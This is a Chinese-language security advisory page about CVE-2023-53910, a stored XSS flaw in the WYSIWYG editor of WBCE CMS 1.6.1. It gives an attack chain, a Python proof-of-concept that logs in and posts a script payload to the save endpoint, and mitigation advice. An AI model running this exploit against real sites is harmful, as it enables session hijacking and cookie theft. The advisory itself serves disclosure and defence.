IPBUF安全漏洞报告
English
CVE-2023-53910 CVSS 5.4 中危

CVE-2023-53910 WBCE CMS存储型XSS漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2023-53910
漏洞类型
XSS(跨站脚本攻击)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
WBCE CMS

相关标签

CVE-2023-53910XSS存储型XSSWBCE CMSWYSIWYG编辑器跨站脚本内容管理系统

漏洞概述

CVE-2023-53910是WBCE CMS 1.6.1版本中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞允许经过身份验证的低权限攻击者通过富文本编辑器(WYSIWYG)向页面内容中注入恶意JavaScript脚本。当其他用户访问包含恶意脚本的页面时,攻击者注入的代码将在受害者浏览器中执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重安全问题。由于该漏洞为存储型XSS,恶意脚本会被永久保存在服务器端,影响范围更广,危害程度更高。攻击者利用此漏洞可以获取受害者的认证cookie、修改页面内容或进行进一步的内网渗透攻击。

技术细节

该漏洞存在于WBCE CMS的富文本编辑器模块中。具体来说,攻击者可以通过向/wbce/modules/wysiwyg/save.php端点发送POST请求,在content参数中注入恶意的script标签内容。由于应用程序未对用户输入进行充分的HTML实体转义或内容安全策略(CSP)限制,恶意JavaScript代码会被存储到数据库中。当其他用户访问包含该恶意内容的页面时,浏览器会解析并执行这些脚本代码。漏洞利用的关键在于WYSIWYG编辑器允许插入原始HTML标签,而保存页面内容时未进行XSS过滤。攻击者需要具备WBCE CMS的低权限账户即可实施攻击,攻击成功后可窃取管理员cookie或进行其他恶意操作。

攻击链分析

STEP 1
1
攻击者获取WBCE CMS低权限账户(注册或利用已有账户)
STEP 2
2
攻击者登录CMS后台,访问页面编辑功能
STEP 3
3
在WYSIWYG编辑器中插入恶意XSS payload到页面内容
STEP 4
4
提交POST请求到/wbce/modules/wysiwyg/save.php端点保存恶意内容
STEP 5
5
服务器未过滤直接存储恶意脚本到数据库
STEP 6
6
其他用户访问被植入恶意脚本的页面
STEP 7
7
受害者浏览器执行恶意JavaScript,攻击者窃取cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2023-53910 PoC - WBCE CMS Stored XSS # Target: WBCE CMS 1.6.1 # Endpoint: /wbce/modules/wysiwyg/save.php TARGET_URL = "http://target-site.com" LOGIN_URL = f"{TARGET_URL}/wbce/login.php" SAVE_URL = f"{TARGET_URL}/wbce/modules/wysiwyg/save.php" USERNAME = "attacker" PASSWORD = "password" # Malicious XSS payload XSS_PAYLOAD = '<script>alert(document.cookie)</script>' def exploit(): session = requests.Session() # Step 1: Login to get authenticated session login_data = { 'username': USERNAME, 'password': PASSWORD } resp = session.post(LOGIN_URL, data=login_data) if 'login' in resp.text.lower(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Inject XSS payload via WYSIWYG editor page_id = "1" # Target page ID exploit_data = { 'page_id': page_id, 'content': XSS_PAYLOAD } resp = session.post(SAVE_URL, data=exploit_data) if resp.status_code == 200: print("[+] XSS payload injected successfully") print(f"[+] Visit: {TARGET_URL}/pages.php?page={page_id}") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": exploit()

影响范围

WBCE CMS 1.6.1

防御指南

临时缓解措施
在官方补丁发布前,可通过配置Web应用防火墙(WAF)规则拦截包含script标签的请求;临时禁用WYSIWYG编辑器的HTML源码编辑功能;或对页面内容输出时进行强制HTML转义处理。建议尽快关注官方安全公告并升级到修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表